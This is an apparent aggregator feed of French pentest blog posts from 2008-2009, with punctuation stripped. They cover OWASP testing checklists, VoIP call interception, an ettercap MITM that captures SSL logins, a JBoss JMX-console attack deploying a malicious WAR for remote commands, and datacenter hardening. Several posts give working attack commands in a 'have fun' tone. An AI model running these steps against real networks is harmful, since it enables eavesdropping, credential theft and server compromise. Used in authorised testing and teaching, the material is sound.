http://www.secuobs.com/revue/news/64468.shtmlhttp://www.secuobs.com/revue/news/64468.shtml Secuobs.com : 2009-02-01 15:44:26 - MISSION Security - La VoIP est depuis quelques années déjà une partie intégrante du SI Elleest considérée comme un point sensible car les conversationspermettent de révéler des informations importantes et surtout, peuventporter à la vie privée des employés Nous allons donc voir ici, d'unpoint de vue technique, quelle est la manière de récupérer desconversations1 - Avant-proposIl est important de noter que le cas présenté ici est simple Eneffet, nous considérons que tous les composants de notre attaquepasserelle VoIP + machines victimes + machine d'audit sont dans lemême réseaux ou dans des réseaux non cloisonnésAussi, les flux ne sont pas chiffrés et l'authentificationinexistante Cependant, c'est un cas tout à fait réaliste dans le sensoù c'est ce que nous pourrions trouver dans une entreprise qui alaissé les paramétrages par défaut2 - Localisation des éléments clésNotre interception de trafic repose sur le sniff entre la passerelleVoIP et le switch le plus proche de la machine d'audit ici Ensuite,nous devons accompagner ce sniff par une attaque de typeMan-in-the-Middle Nous devrions alors récupérer un tas de chosesintéressantes21 - Localisation du commutateur le plus procheNous effectuons tout simplement un traceroute pour trouver lecommutateur en question ce que nous pourrons vérifier par des moyenssimples ifconfig / requête SNMP / :L'adresse de notre commutateur est donc : 10xxxyyy222 - Localisation de notre passerelle VoIPNous utilisons l'outil smap qui permet de trouver les éléments actifssur le port 5060 SIPsmap 10xxxzzz0/24Nous détectons ainsi la passerelle comme le montre le screenshotsuivant :L'adresse de notre passerelle VoIP est donc : 10xxxzzz130Pour vérification et avoir plus d'information sur ma machine repérée,nous lançons smap avec l'option -o :smap -o 10xxxzzz1303 - Interception du traficNous mettons en œuvre cette fois l'attaque Man-in-the-Middle à l'aidede l'outil Ettercap Puisque cette attaque est bien connue et déjàexpliquée sur ce blog, nous n'entrerons pas dans les détails iciSinon, voir post, point 32 wikipediaNous lançons la commande :ettercap -Tqi eth0 -M arp /10xxxzzz130/ /10xxxyyy2/4 - Capture et enregistrement des conversationsPour réussir cette dernière étape, nous utilisons deux outilsdisponibles notamment sur la backtrack 3 :* voipong* voipctl41 - Un peu de configurationPour donner l'adresse du réseau audité, aller dans le fichier deconfiguration voipongnetscd /usr/local/etc/voipongvi voipongnetsVous trouverez seulement deux lignes Ici, notamment sur la deuxièmeligne, mettez le sous réseau audité Si ça ne marche pas, faites demême sur la première ligne42 - Lancement des outilsTout simplement, nous lançons voipong puis voipctl43 - Écoutez Il ne vous reste plus qu'à récupérer les fichiers audio enregistrésvoir le fichier de configuration de voipong pour connaître lerépertoire de destination et à lancer votre lecteur audio préféréHave fun ;http://www.secuobs.com/revue/news/57236.shtmlhttp://www.secuobs.com/revue/news/57236.shtml Secuobs.com : 2009-01-12 00:17:15 - MISSION Security - Nous continuons les tests actifs avec cette deuxième phase Elle traitedes tests sur le système d'authentification Ce point est trèsimportant puisqu'il permet d'obtenir des escalades de privilèges et/oudes accès illégitimes s'il est mal configuré1 - Avant-proposPour rappel, la méthodologie d'OWASP décompose les tests d'intrusionen :* une phase de tests dits passifs collecte d'informations ;* neuf phases de tests actifsC'est la deuxième des 9 phases de tests actifs que nous étudions ici,appelé Authentification Testing AT2 - Phase de tests actifs 2 : tests sur le système d'authentification21 - AT-001 : Transport des credentials un tunnel chiffréLorsque l'authentification a lieu via Internet e g portail WEB,alors il faut nous assurer que les données sensibles que sont le loginet le mot de passe sont transmises de manière sécurisée entre leclient et le serveur Puis nous pouvons lancer le test suivant :1/ Lancer un proxy local ;2/ Effectuer une authentification via le formulaire WEB ;3/ Est-ce que la méthode "GET" ou "POST" qui est utilisé GET nedevrait pas être utilisé ;4/ Est-ce que l'authentification se fait bien via HTTPS 22 - AT-002 : Énumération d'utilisateursAvant de chercher le mot de passe, nous avons besoin de connaître lelogin A travers un page d'authentification, nous pouvons lancerplusieurs tests pour trouver cette information1/ Analyser les messages et codes d'erreur issus des réponses HTTP enessayant plusieurs scénarios login valide + mot de passe valide /login valide + mot de passe faux / login et mot de passe faux Lemessage doit être le même que ce soit le login et/ou le mot de passequi estsont fauxPar exemple, le site suivant renvoie cette fenêtre quand le login estfaux :Alors que si seul le mot de passe est faux, nous avons cette autrefenêtre :Nous venons de trouver un login 2/ Obtient-on l'erreur 403 à la place de l'erreur 404 Alors la pageexiste pour cet utilisateur mais n'est pas accessible3/ Le titre de la page WEB est-il modifié selon que l'authentificationa réussi ou non 4/ Etudier les pages et formulaires proposés pour le recouvrement demots de passe5/ Obtient-on une erreur 404 éventuellement verbeuse au lieu d'uneerreur 200 générique 6/ Peut-on deviner les logins à partir des logins de tests, deslogins déjà trouvés, selon un schéma particulier etc23 - AT-003 : Compte utilisateur par défaut ou pouvant être devinésQue ce soit sur un serveur ou un équipement réseau, un mot de passepar défaut peut être présent si l'administrateur a omis de le modifierou s'il s'agit d'un compte non utilisé et toujours avec son mot depasse par défaut Nous pouvons aussi trouver des logins simples quiont servi de test la plupart du temps et n'ont pas été supprimés1/ Tester les logins communs ex : "admin" / "test" / 2/ Tenter de trouver un login grâce au nom de l'application ou de lasociété cible ex : C0mpanie1233/ Utiliser le nom des contacts de la mission de tests d'intrusionpour en trouver les logins ex : pmartin / pmartin1 / martin / pour Paul MARTIN4/ Utiliser la page d'inscription pour obtenir des informations sur leformat du login ex : adresse mail / initiales / prénom + chiffre/5/ Essayer un mot de passe blanc Hé oui, ça marche parfois 6/ Regarder le code javascript et le code source pour obtenir desinformations sur le login7/ Trouver des informations laissées inintentionnellement en clairdans un fichier de sauvegarde ou un commentaire de code8/ Trouver le schéma de login ex : nom + 1 caractère + 2 chiffresPour trouver ce schéma, créer un maximum de compte24 - AT-004 : Attaque de type brute-forceSi aucun seuil n'est appliqué au compte, alors il est possibled'utiliser une attaque de type brute-force qui consistera à essayertous les mots d'une liste e g dictionnaire ou des combinaison decaractères1/ Tout d'abord, quel est le mode d'authentification Basic Digest HTTP-Form 2/ Tenter de cracker le mot de passe à l'aide des outils JTR, Hydra,Brutus, Base64 decoder, Un exemple est disponible sur un post précédent3/ En boîte grise ou si vous arriver à obtenir les hashes des mots depasse, vous devrez auditer la force du secret grâce aux rainbow tableset l'outil rcrack25 - AT-005 : Contourner l'authentification1/ La page est parfois directement accessible si nous connaissons labonne URL Pour la trouver, il nous faudra manuellement modifierl'URL ou la trouver grâce à un scanner de site WEB2/ Les ressources protégées peuvent être accessible si nous modifionsles paramètres contenus dans l'URL ex : remplacer access=no paraccess=yes3/ L'ID de session peut être trouvé Ce cas devrait être testé engénérant un grand nombre de seesion Peut-on trouver une logique entrechaque ID 4/ Les champs d'authentification acceptent-ils une injection SQL 26 - AT-006 : Mot de passe mémorisé et fonction de resetIl existe toujours une solution de secours au cas où l'utilisateuraurait perdu son mot de passe Certaines solutions sont plusvulnérables que d'autres En voici plusieurs scénarios1/ Peut-on directement deviner la réponse Imaginons que plusieursquestions sont proposées parmi plusieurs questions secrètesauxquelles un utilisateur a répondu lors de son inscription Dans cecas, il faut choisir la question la plus facile :* celle dont la réponse peut se trouver à l'aide d'un moteur derecherche ;* ou celle qui peut reposer sur des statistiques ;* ou celle dont la réponse fait partie d'un ensemble limité ex :marque d'une voiture ;* 2/ Quelles sont les moyens qui sont à notre dispositions * Un nombre d'erreur limité est-il configuré pour nos réponses * Comment est réinitialisé le mot de passe via l'envoi d'un email via des réponses sur le profil de l'utilisateur via desquestions secrètes 3/Existe-t-il un autre moyen de trouver le mot de passe * Est-il enregistré dans le cache du navigateur * Est-il transmis via un cookie persistant 27 - AT-007 : Déconnexion et gestion du cache utilisé par lenavigateurSi une session est mal configurée, elle ne se terminera pascorrectement Alors, les informations sensibles peuvent transiter ouêtre stockées de manière non sécurisée car non effacées grâce à unedéconnexion "propre"1/ La fonction de déconnexion est-elle correctement implémentée * Existe-t-il un bouton de déconnexion Bien visible * Les cookies de session sont-ils correctement effacés * L'utilisation d'un navigateur différent permet-il de dévoilercertaines informations * Le bouton "retour" du navigateur permet-il de revenir sur la pagesensible * Que se passe-t-il quand on empêche l'exécution de script javascript* Est-il possible de configurer manuellement des cookies quifonctionnent 2/ Comment est configuré la fonction de timeout * Existe-t-il une fonction de timeout * Les tokens sont-ils détruits une fois cette limite de temps passée* Les tokens générés sont-ils réutilisables rejouer un token3/ Pages en cacheA travers un proxy, regarder les requêtes HTTP qui sont lancées :pragma: no-cacheRegarder aussi au niveau HTML :28 - AT-008 : CAPTCHACAPTCHA pour Completely Automated Public Turing test to tellComputers and Humans Apart est un système d'authentification basé surle challenge-réponse S'il est normalement solide, il peut être déjouégrâce à des défauts d'implémentation1/ Phase de reconnaissance du CAPTCHA :* Quels sont les paramètres utilisés * Peut-on effectuer des attaques de rejeu en utilisant uneancienne valeur d'un CAPTCHA décodé couplé à un ancien ID d'unesession ou en le couplant à un ancien ID d'un CAPTCHA décodé2/ Un CAPTCHA similaire a-t-il déjà été cassé 3/ Le nombre de réponse est-il limité La réponse elle-même peut-elleêtre devinée 4/En boîte grise, des tests supplémentaires peuvent être effectués :* Des vulnérabilités connues existent-elles * Les algorithmes de chiffrement et de hashages sont-ilssuffisamment robustes 29 - AT-009 : MFASMFAS pour Multiple Factors Authentication System est aussi appeléauthentification forte Le pentester confronté à ce genre de situationaura certainement plus de difficulté à le contourner Cependant,certains sont plus robustes que d'autres et la plupart du temps, ilsne protègent pas contre tous les types d'attaques1/ Dans cette section, le but est de s'assurer que le MFAS permet biende protéger les ressources contre les menaces suivantes :Vols des credentials ;Mots de passe faibles ;Attaques basées sur la session rejeu / fixation d'une session ;Chevaux de troie et logiciels malicieux ;Réutilisation des mots de passe2/ Mener les tests en fonction des méthodes d'authentificationrencontrés :* OTP ;* Carte virtuelle ;* Clé USB ou carte à puce avec certificat ;* OTP généré aléatoirement et transmis via SMS210 - AT-010 : Race ConditionsLes races conditions consistent à croiser plusieurs actionssimultanément pour provoquer un comportement inattendu Par exemple,effectuer deux retraits d'argent simultanément entre deux mêmecomptes1/Pour toutes les actions permises pour l'application testée, essayerde lancer des actions simultanées2/ Le résultat obtenu est-il conforme au comportement attendu La suite au prochain épisode http://www.secuobs.com/revue/news/50491.shtmlhttp://www.secuobs.com/revue/news/50491.shtml Secuobs.com : 2009-01-03 02:20:45 - MISSION Security - Suite du premier épisode qui traitait de la collecte d'information Ici,nous abordons le premier chapitre des tests actifs Plus précisément,ils concernent les tests sur l'infrastructure environnante etl'application auditée elle-même1 - Avant-proposPour rappel, la méthodologie d'OWASP décompose les tests d'intrusionen :* une phase de tests dits passifs collecte d'informations ;* neuf phases de tests actifsC'est le premier des 9 phases de tests actifs que nous étudions ici,appelé Configuration Management CM2 - Phase de tests actifs 1 : tests sur la configuration del'infrastructure et de l'application21 - CM-001 : Tests sur les certificats, SSL/TLSLes certificats peuvent donner un sentiment de "fausse sécurité" Ilest important alors de vérifier que les données sont transmises demanière sécurisée sans quoi un attaquant sera en mesure de récupérerles informations sensibles qui transitent La démarche du test sedéroule en trois axes :1/ Quelle est la robustesse du chiffrement par défaut taille de laclé suffisante Algorithme de chiffrement satisfaisant Algorithmede hashage existant et suffisant 2/ En parallèle, d'autres chiffrements, dits faibles, sont-ilsautorisés SSLv2, connu pour être vulnérable aux attaques de typeMan-in-the-Middle, est-il permis openssl s_client -ssl2 -connect wwwciblecom:4433/ Le certificat utilisé est-il valide * Est-il auto-signé non recommandé * Est-il bien signé par une autorité reconnue recommandé * Est-il à jour ie non expiré * L'URL trouvé sur le certificat correspond-elle au site WEB A noter : la sécurité des certificats a déjà été abordé dans un postprécédent plus d'info, partie 222 - CM-002 : Tests sur le Listener d'OracleVia le Listener d'Oracle, il est possible d'exécuter des commandes,voire de prendre la main sur le serveur C'est pourquoi cette sectiona pour objectif de trouver une vulnérabilité sur ce serveur de base dedonnées1/ Identifier le service à l'aide de NMAP par exemple par défaut, ils'agit des ports 1521, 2483 ou 24842/ Auditer le serveur Oracle avec l'outil de INTEGRIGY info télécharger3/ Tester avec le client Oracle pour obtenir :* des informations supplémentaires ;* la liste des comptes ;* trouver des procédures capables d'exécuter des commandesarbitraires4/ En boîte grise, vérifier la bonne configuration du fichierListeneroraA noter : de nombreuses références et outils pour auditer un serveurOracle sont disponibles ici23 - CM-003 : Audit de l'infrastructureCe troisième point nous apportera une meilleure connaissance del'architecture Principalement, nous devrions avoir une meilleure vuesur les protections réseau employées1/ Revue de l'architecture de l'application :* Avons-nous un pare-feu Si oui, l'isolation des éléments del'architecture est-elle correctement configurée * Un reverse-proxy * Un répartiteur de charge * Une base de données * Un serveur d'authentification * Etc 2/ Existe-t-il des vulnérabilités connues sur les éléments del'infrastructure identifiés NESSUS + securityfocuscom + testsmanuels + 3/ Des outils d'administration sont-ils présents Accessibles A noter : Pour la recherche de vulnérabilités connues, voir deuxprécédents posts sur NESSUS et son utilisation ici et là24 - CM-004 : Configuration de l'applicationLa présente section a pour but d'identifier les problèmes deconfiguration globaux de l'application et la gestion des logs1/ Des fichiers d'installation / connus sont-ils présents sur leserveur ex : les fichiers d'installation par défaut d'Apache2/ Passer en revue les commentaires contenus dans le code source despages de l'applicationEn boîte grise,3/ Auditer les fichiers de configuration du serveur WEB Le niveau desécurité est-il suffisant 4/ La gestion des logs est-elle satisfaisante * Comment sont traitées les informations sensibles * Où sont stockés les logs * De quel manière sont-il stockés espace disque suffisant partitionnés par application supervisés * Comment est appliquée la gestion des logs période compressiondes archives permissions attribuées sur les archivessuffisamment restrictives * Les logs importants sont-ils bien audités ex : erreurs 40x et50x25 - CM-005 : Contrôle des extensions de fichiersLes extensions de fichiers peuvent d'une part révéler de nouvellesinformations D'autre part, elles peuvent prouver l'existence d'untype de fichier et donc la présence d'informations sensible s et/outechniques1/ Lancer des requêtes HTTP avec des ressources dont l'extension estdifférente Quel est le comportement du serveur WEB 2/ Trouver les répertoires contenant les scripts grâce à Nessus,Nikto, Crawler, 26 - CM-006 : Fichiers anciens, de sauvegarde et non référencésBien souvent, des fichiers sont stockés sur le serveur par oubli oupar mégarde Malheureusement, ils fournissent souvent des informationsprécieuses ou des accès illégitimes1/ Déduire l'existence de nouveaux fichiers / répertoires Parexemple,* s'il existe le fichier removeuserasp, tenter adduserasp ;* s'il existe le répertoire /users, existe-t-il le répertoire /admin2/ Trouver de nouveaux fichiers qui seraient cités :* dans les commentaires du code source ;* dans les codes javascript ;* dans le fichier robotstxtExemple récupéré sur le site wwwlemondefr/robotstxt :User-agent: *Disallow: /web/recherche_resultats/Disallow: /web/recherche/Disallow: /web/yahoosearch/resultats/Disallow: /web/newsletter_exemple/Disallow: /web/teaser/Disallow: /web/inscription_newsletter/Disallow: /qui-sommes-nous/Disallow: /web/abopapier/Disallow: /services-aux-internautes/Disallow: /web/ep/service_clients/Disallow: /web/siteweb/Disallow: /web/imprimer_element/Disallow: /web/imprimer_archive/ 3/ Tenter de trouver de nouveaux fichiers en modifiant leur extensionou en ajoutant une nouvelle ex : bak, old, etc 4/ Chercher s'il existe des vulnérabilités connues affectant leserveur WEB permettant par exemple de lister les répertoires etfichiers ou de récupérer des informations techniques5/ Chercher des fichiers via :* les moteurs de recherche ;* la page cache sauvegardée par Google, Yahoo, ou les sitesd'archivage ex : archiveorg ;* les liens fournis par les sites tiers27 - CM-007 : Interfaces d'administration de l'infrastructure ou del'applicationLes interfaces d'administration permettent d'acquérir des droits plusimportants ou du moins, d'exécuter des commandes qui ne sont paspermises pour un utilisateur standard De tels accès peuvent mener àla compromission du serveur lui-même1/ Énumérer les répertoires et fichiers pouvant contenir une interfaced'administration ex : /admin2/ Trouver les interfaces grâce aux commentaires ou aux liens WEBparcourus par l'application3/ Voir la documentation du serveur et de l'application pour enconnaître les répertoires d'administration par défaut Éventuellement,testes les couples login/mot de passe par défaut ex : site4/ Trouver une interface d'administration sur un autre port Cetexemple a été abordé dans des posts plus anciens avec JonAs et JBoss5/ Est-il possible d'accéder à une interface d'administration enmodifiant un cookie 28 - CM-008 : Tester les méthodes HTTP autorisées et test del'attaque XSTCertaines méthodes HTTP permettent des actions malicieuses Ellesdoivent donc être restraintes ou du moins contrôlées correctement pouréviter qu'un pirate en abuse pour exécuter des commandes arbitrairespar exemple1/Quelles sont les méthodes HTTP autorisées Deux manières peuventnous apporter la réponse :a Netcat + la méthode OPTIONS Cette dernière liste toutes lesméthodes actives si elle est elle-même activéenc wwwciblefr 80OPTIONS / HTTP/11b Utiliser l'outil MetoscanPOST = N/AGET = 200 OK / 400 BAD REQUESTCONNECT = 200 OK / 400 BAD REQUESTPUT = 200 OK / 400 BAD REQUESTDELETE = 200 OK / 400 BAD REQUESTHEAD = 200 OK / 400 BAD REQUESTTRACE = 200 OK / 400 BAD REQUESTBien sûr, chaque méthode peut être testée manuellement2/ Test de l'attaque XSTPossible si la méthode TRACE est active Il faut aussi qu'une faillede type XSS côté serveur ou que l'exécution de code javascript côtéclient nous permette de lancer une attaque3/ Tests des commandes arbitrairesTester si la méthode JEFF est active Si oui, une attaque pourra êtreenvisagéenc wwwciblefrJEFF / HTTP/114/ Contournement des contrôles d'accès via la méthode HEADnc wwwciblefrHEAD /admin HTTP/11A suivre : L'épisode 3 de ce post abordera l'authentificationhttp://www.secuobs.com/revue/news/48262.shtmlhttp://www.secuobs.com/revue/news/48262.shtml Secuobs.com : 2008-12-31 18:27:16 - MISSION Security - Question de mode ou de professionnalisme, chacun voit les normes etstandards à sa manière Quoi qu'il en soit, elles sont là pour nousguider dans un travail tels que les tests d'intrusion qui ne peuventêtre assimilés à une sciences exacte Dans ce but, nous allons étudierla norme OWASP Afin d'étudier les différents points qui y sontabordés, 10 épisodes seront rédigés sur ce blog1 - Avant-proposLa norme OWASP est découpée de la manière suivante :* une introduction, la présentation des bases de la norme ;* la phase préliminaire des tests collecte d'information ;* le déroulement des tests 9 chapitresDans ce premier épisode, nous allons parler des deux premiers pointstandis que les 9 prochains épisodes aborderont chacun des 9 chapitresIl est important de noter que la norme étudiée est dédiée à la partietests d'intrusion d'une application WEB L'OWASP en propose d'autrescomme un guide de développement et un guide de revue de code qui sontcomplémentaires au guide de tests en question téléchargerPour les points 2 et 3 qui suivent, seuls les idées principales seronténoncées Le but est d'en donner un résumé, non de les retranscrire ;2 -Introduction à la norme21 - Le modèle SDLCLa norme OWASP repose sur le modèle SDLC pour Software DevelopmentLife Cycle L'idée est de prendre en compte toutes les étapes de laconception d'une application WEB, c'est à dire les phases de :* définition cahier des charges, RFP ;* conception ;* développement ;* déploiement ;* maintenanceL'idée est que plus un problème est détecté tôt, moins il coûtera entemps et en argent Sachant qu'un test d'intrusion est généralementeffectué juste avant son déploiement tests avant mise en productionou après son déploiement pour cause de retard du lancement de testsou tests récurrents, les trous de sécurité pourraient être traitésplus en amont C'est là qu'entrent en jeu les autres tests : revue ducode et développement du code de manière sécuriséeA cela, il faut ajouter les interviews qui permettent d'obtenir desrenseignements auprès des personnes qui ont conçu l'application et quifourniront par conséquent des informations précieuses et permettrontde régler d'éventuels erreurs en amont S'engage alors la mise enpratique des normes plus organisationnelles tels que l'ISO 27002 Nouspouvons aussi considérer le standard PCI-DSS dans le cadre d'uneapplication bancaireConcrètement, la solution se trouve du côté des audits combinés quipermettent de considérer l'ensemble des contrôles aux différentesphases nécessaires Ce type d'audits devraient comprendre le suivi desstandards ISO 27002, la revue de code, l'audit de configuration etles tests d'intrusion22 - L'exhaustivité des testsPour s'assurer que les tests seront suffisamment exhaustifs, il y adeux concepts à prendre en compte :* établir les pré-requis avant de lancer les tests qui permettent deprendre en compte les fonctionnalités de l'application WEB et lesscénarios possibles Est-ce que toutes les menaces sont traitéeset disposent d'un moyen de contrôle de protection * l'exhaustivité des tests doit porter sur les composants annexes àl'application librairies, DLL, etc ;* les tests doivent être pondérés :* Tout d'abord, chercher les bugs tests quantitatifs ,* Ensuite, évaluer la pertinence et le risque associé testsqualitatifs3 -Les bases de la normeEn premier lieu, la norme recommande la suivi d'un standard de bonnespratiques pour le développement ex : eXtreme Ensuite, il convientd'effectuer les tests à différentes phases :* Avant le développement de l'application revue des standards etpolices, définition des critères de mesures ;* Pendant les phases de définition et de conception listes despré-requis, revue de l'architecture, modèle UML, analyse derisque ;* Pendant le développement points d'entrée de l'application revuede code ;* Pendant le déploiement tests d'intrusion, audit de configuration;* Pendant la phase de maintenance gestion de l'infrastructure et del'application elle-même, tests périodiques et gestion desmodifications4 - Les tests d'intrusionSelon la norme OWASP, les tests d'intrusion sont décomposés en :* 1 phase préliminaire, la phase de collecte IG pour InformationGathering ;* 9 phases de tests actifsC'est le premier point que nous abordons dans cette dernière partie dece post41 - IG-001 : Aspirateur de site et robots1/ Il s'agit de récupérer dans un premier temps le fichier robotstxtdu site WEB de la cible :wget http://ciblefr/robotstxt2/ Analyser ce fichier :a Il vous faut un compte google Si vous n'en avez pas, vous pouvezvous inscrire icib Utiliser l'outil d'analyse de google42 - IG-002 : Moteur de recherche1/ Utiliser un moteur de recherche ex : google avec le mot clé site: site:ciblefr2/ Glaner des informations sur la page enregistrée en cache :43 - IG-003 : Identification des points d'entréeLe but ici est de récupérer des informations à l'aide d'un proxy localtels que Paros, Webscarab ou Burp Suite par exemple1/ Ici, identifier les méthodes POST et GET, leur utilisation2/ Identifier aussi les paramètres passés dans les URLs, les entêteset le corps des requêtes et réponses3/ Regarder s'il existe des champs cachés ou autre informationintéressante dans le code source de l'application4/ Étudier l'utilisation des cookies5/ Étudier les informations qui peuvent être contenues dans lesentêtes44 - IG-004 : FingerprintingIl existe plusieurs manière pour trouver la version du serveur WEB etde l'OS :1/ Grâce à Netcat :nc ciblefr 80HEAD / HTTP/102/ Si l'entête ne fournit pas directement les informationsrecherchées, l'ordre des champs peut fournir la réponse3/ Tenter les requêtes malformées exemples :nc ciblefr 80HEAD /truchtml HTTP/10HEAD / HTTP/304/ Utiliser les outils automatisés comme httprint :/httprint -h ciblefr -s signaturestxt5/ Le site Netcraft site45 - IG-005 : Découverte de l'application1/ Trouver les applications annexes via l'URL Par exemple, http:///webmailElles peuvent être trouvées en les devinant pour les plus évidentes ouà l'aide d'un scanner WEB comme Nikto2/ Trouver les ports non standards hébergeant des interfaces WEB àl'aide d'un scanner de port comme NMAP puis vérifier avec telnet :nmap ciblefr -p- -sS -sV -PN3/ Lancer les requêtes DNS pour trouver les hôtes virtuels :a Tenter le transfert de zones ;host -t ns ciblefrhost -l ciblefr serveur_dns_cibleb Tenter les requêtes inverses ;/dns-ptr ciblefr nb_adresse_ipc Recherche DNS via le service de Netcraft site ;d Requêtes inverses site ;e Autres recherches avec Maltego par exempleLa suite au prochain épisode http://www.secuobs.com/revue/news/47696.shtmlhttp://www.secuobs.com/revue/news/47696.shtml Secuobs.com : 2008-12-07 21:50:55 - MISSION Security - Avec l'expansion des serveurs J2EE, il y a de bonnes chances d'unrencontrer un pendant un test d'intrusion d'application WEB Aprèsavoir vu Jonas dans un post précédent, nous allons aujourd'hui nousattaquer à JBoss, 2e plateforme J2EE open source répandue Pour cela,nous allons nous baser sur la présentation qui a eu lieu lors de laconférence Hacklu 2008 avec les démonstrations qui vont bien1 - Reconnaissance de la ciblePour savoir si nous avons à faire à une plateforme JBoss, le scan dela cible devrait nous aider En l'occurrence, les ports 8080 et 4444devraient être ouverts :2 - Les attaquesEntrons directement dans le coeur du sujet Il existe plusieurs pistesd'attaque que nous allons voir toute de suite21 - Attaque via la console JMXOn obtient l'interface WEB de JBoss facilement en tapant sur la port8080 de la cible Puis cliquer sur le lien "JMX console" pouratteindre notre but :Dans la nouvelle page, lancer une recherche sur le mot "deployment" etcliquer sur le premier lien "deploymentScanner" :Dans cette troisième page :* rechercher la fonction void addURL et dont le ParamType estjavalangString ;* entrer l'adresse où se trouve votre WAR malicieux dans le champprévu ici pentestwar;* cliquer sur le bouton "Invoke"Si tout s'est bien passé, la page suivante devrait s'afficher :Entrer maintenant l'URL suivante avec ici nom_commande = cmdjsp :http://:8080/pentest/La fenêtre qui s'affiche permet de lancer n'importe quelle commandeIl existe aussi d'autres scripts dans le WAR malicieux qui peuventpermettre la compromission du serveur Et 1 - 0 :22 - Attaque via le programme twiddleL'attaque peut ne pas être possible si la console JMX est protégée parun mot de passe Cependant, n'oubliez pas d'essayer les mots de passetriviaux avant d'abandonner ;Nous tentons donc de passer par l'interface RMI qui est présente iciport 4444 ouvert Pour cela, nous avons besoin du programme twiddlequi fait partie de l'exécutable de JBossA suivre http://www.secuobs.com/revue/news/41255.shtmlhttp://www.secuobs.com/revue/news/41255.shtml Secuobs.com : 2008-12-06 02:17:58 - MISSION Security - Nous nous mettons dans le cas d'un audit d'un site WEB utilisant leprotocole SSL Alors que la plupart des internautes y voient unesécurité certaine, l'utilisateur averti connaît les faiblesses de ceprotocole quand il est mal configuré Ce post commencera par évaluerla robustesse de la sécurité de la communication Dans un secondtemps, nous exploiterons le protocole s'il peut être affaibli ou s'ill'est déjà 1 - Quelques informations nécessairesLe protocole SSL existe en plusieurs versions Vous trouverez surInternet toutes les informations nécesaires Pour commencer, Wikipédiaest certainement un bon début grâce à l'article dédié à ce protocole iciMais pour la suite, nous avons juste besoin de savoir que noustrouvons principalement sur le WEB :* CAS 1 : Des serveurs WEB reposant sur un certificat SSLv2vulnérable à des attaques de type Man-in-the-Middle ;* CAS 2 : Des serveurs WEB reposant sur un certificat SSLv3/TLSv1mais supportant aussi le protocole SSLv2 Ils deviennent alors euxaussi vulnérables au mêmes type d'attaque ;* CAS 3 : Des serveurs WEB reposant sur un certificat SSLv3/TLSv1 etne supportant que ce protocole Ces serveurs ne sont pasvulnérables sauf si la clé de chiffrement est faibleLe certificat par défaut peut utiliser un algorithme de chiffrementrobuste mais cela n'empêche pas qu'il peut supporter des algorithmesde chiffrements plus faibles2 - Le serveur audité est-il vulnérable Pour résumer la première partie, la réponse sera "oui" s'il supportele protocole SSLv2 et/ ou s'il supporte des algorithmes de chiffrementbasée sur une clé trop faiblePour effectuer nos tests, nous allons étudier l'outil SSLDigger deFoundstone téléchargerLe certificat par défaut peut utiliser un algorithme de chiffrementrobuste mais cela n'empêche pas qu'il peut supporter des algorithmesde chiffrements plus faiblesAprès avoir lancé l'outil et entré l'adresse du site, appuyez sur lebouton "GO" De suite, nous voyons que le certificat repose sur unalgorithme RSA et une clé de chiffrement de 1024 bits : c'est bon Deplus, nous remarquons qu'il est signé par une entité reconnueMais supporte-t-il aussi des protocoles faibles Pour cela, SSLDiggerlance automatiquement les tests si vous avez cliqué sur sur "oui" surla popup apparue à l'ouverture de l'outil Sinon, vous trouverez unbouton "SSL test" sur l'interfaceUne fois les tests terminés, cliquez sur "oui" pour enregistrer etvoir le rapport En l'occurrence, nous voyons que des protocolesfaibles sont supportés 3 exactement :Le détails de ces protocoles est donné plus loin dans le rapport Ilest donc techniquement possible de casser la clé de chiffrement aprèss'être connecté avec l'un des algorithmes comportant une clé delongueur trop faible Cela se fait à l'aide d'OpenSSL notamment maisce n'est pas cette voie que nous allons détaillerNous allons néanmoins de suite utiliser cette commande pour voir si lesite audité supporte le protocole SSLv2 :openssl s_client -ssl2 -connect wwwcom:443Bingo Nous nous connectons au serveur en SSLv2 NB: avec leprotocole DES-CBC3-MD5, l'un des protocoles repérés par SSLDiggerAlors nous pouvons passer à la suite 3 - Lancement d'une attaque de type Man-in-the-Middle31 - PréparationPour mener l'attaque, nous aurons besoin d'un seul outil, Ettercap téléchargerConfiguration si vous utilisez ipchains/iptables :1 Ouvrir etterconf ;2 Décommenter les lignes :1 redir_command_on2 redir_command_offLe scénario est le suivant :* 1 serveur qui correspond à nos critères de la phase 2 ;* 1 machine victime qui se connecte vers se serveur aprèsauthentification ;* 1 machine pirate qui se placera entre les deux machines pour menerune attaque de type MiTM32 - Lancement de l'attaqueOn commence par vérifier que toutes les machines sont localisées enligne de commande "T", sur l'interface eth0 "i" :ettercap -Tqi eth0 // //On devrait voir l'adresse de la victime et celle du routeur communcadre rouge alors que l'adresse du pirate apparaît en haut cadrevert :L'attaque se lance avec la commande suivante :ettercap -Tqi eth0 -M arp -l mission /adresse-routeur/ /adresse-victim/Vous capturerez le compte dès que la victime se connectera sur le siteavec son couple login/mot de passePar la suite, nous pouvons retrouver les résultats en lisant lefichier de capture :etterlog missioneciThe account is owned Have fun :http://www.secuobs.com/revue/news/41078.shtmlhttp://www.secuobs.com/revue/news/41078.shtml Secuobs.com : 2008-11-05 23:43:25 - MISSION Security - Lors d'un pentest pour une entreprise, vous devrez certainement vousattaquer à un Datacenter car c'est bien là que sont installés lesserveurs et équipements réseau du SI de la compagnie De suite, nouscomprenons l'enjeu de sécuriser le Datacenter Dans ce post, nousne verrons qu'un seul aspect de la sécurité, les contrôles logiques1 - Apporter et maintenir le niveau de sécurité11 - Application des bonnes pratiques systématique :Un Datacenter "vit" et même sécurisé, le moindre changement peutébranler son niveau de sécurité Par exemple, dans le cas del'installation d'un nouveau serveur, les principales mesures à prendreen compte sont :* le système d'exploitation du serveur doit être "masteriser" avecles seules applications nécessaires et une sécurisation en amontsi possible ;* seuls les comptes nécessaires doivent être autorisés à seconnecter à la machine que ce soit localement ou à distance ;* seuls les services utiles doivent tourner De plus, ils ne doiventêtre lancés "automatiquement" que si cela est nécessaire pour lebon fonctionnement du serveur et des applications hébergéesSinon, une activation "manuelle" et un service arrêté au démarragedu système est préférable Enfin, un compte de service avec desdroits restreints doit être accordé au service ;* la configuration des modules systèmes et des applications doitêtre travaillée Par exemple, seules les communications sécuriséevia SSH sont autorisées Cela passe par la configuration duservice de même nom via des fichiers de configuration commesshd_config12 - Renforcement de la sécurité d'un systèmePour assurer tous les piliers de la sécurité à une machine, il nousfaudrait installer idéalement :* un agent de sauvegarde pour la disponibilité des données ;* un agent chargé de surveiller l'intégrité des informations ex :Tripwire ;* un agent chargé de tracer les évènements pour la non-répudiationdes actions ex : Syslog ;* le chiffrement des disques pour la confidentialitéDans la réalité, la société devra étudier et classer ses 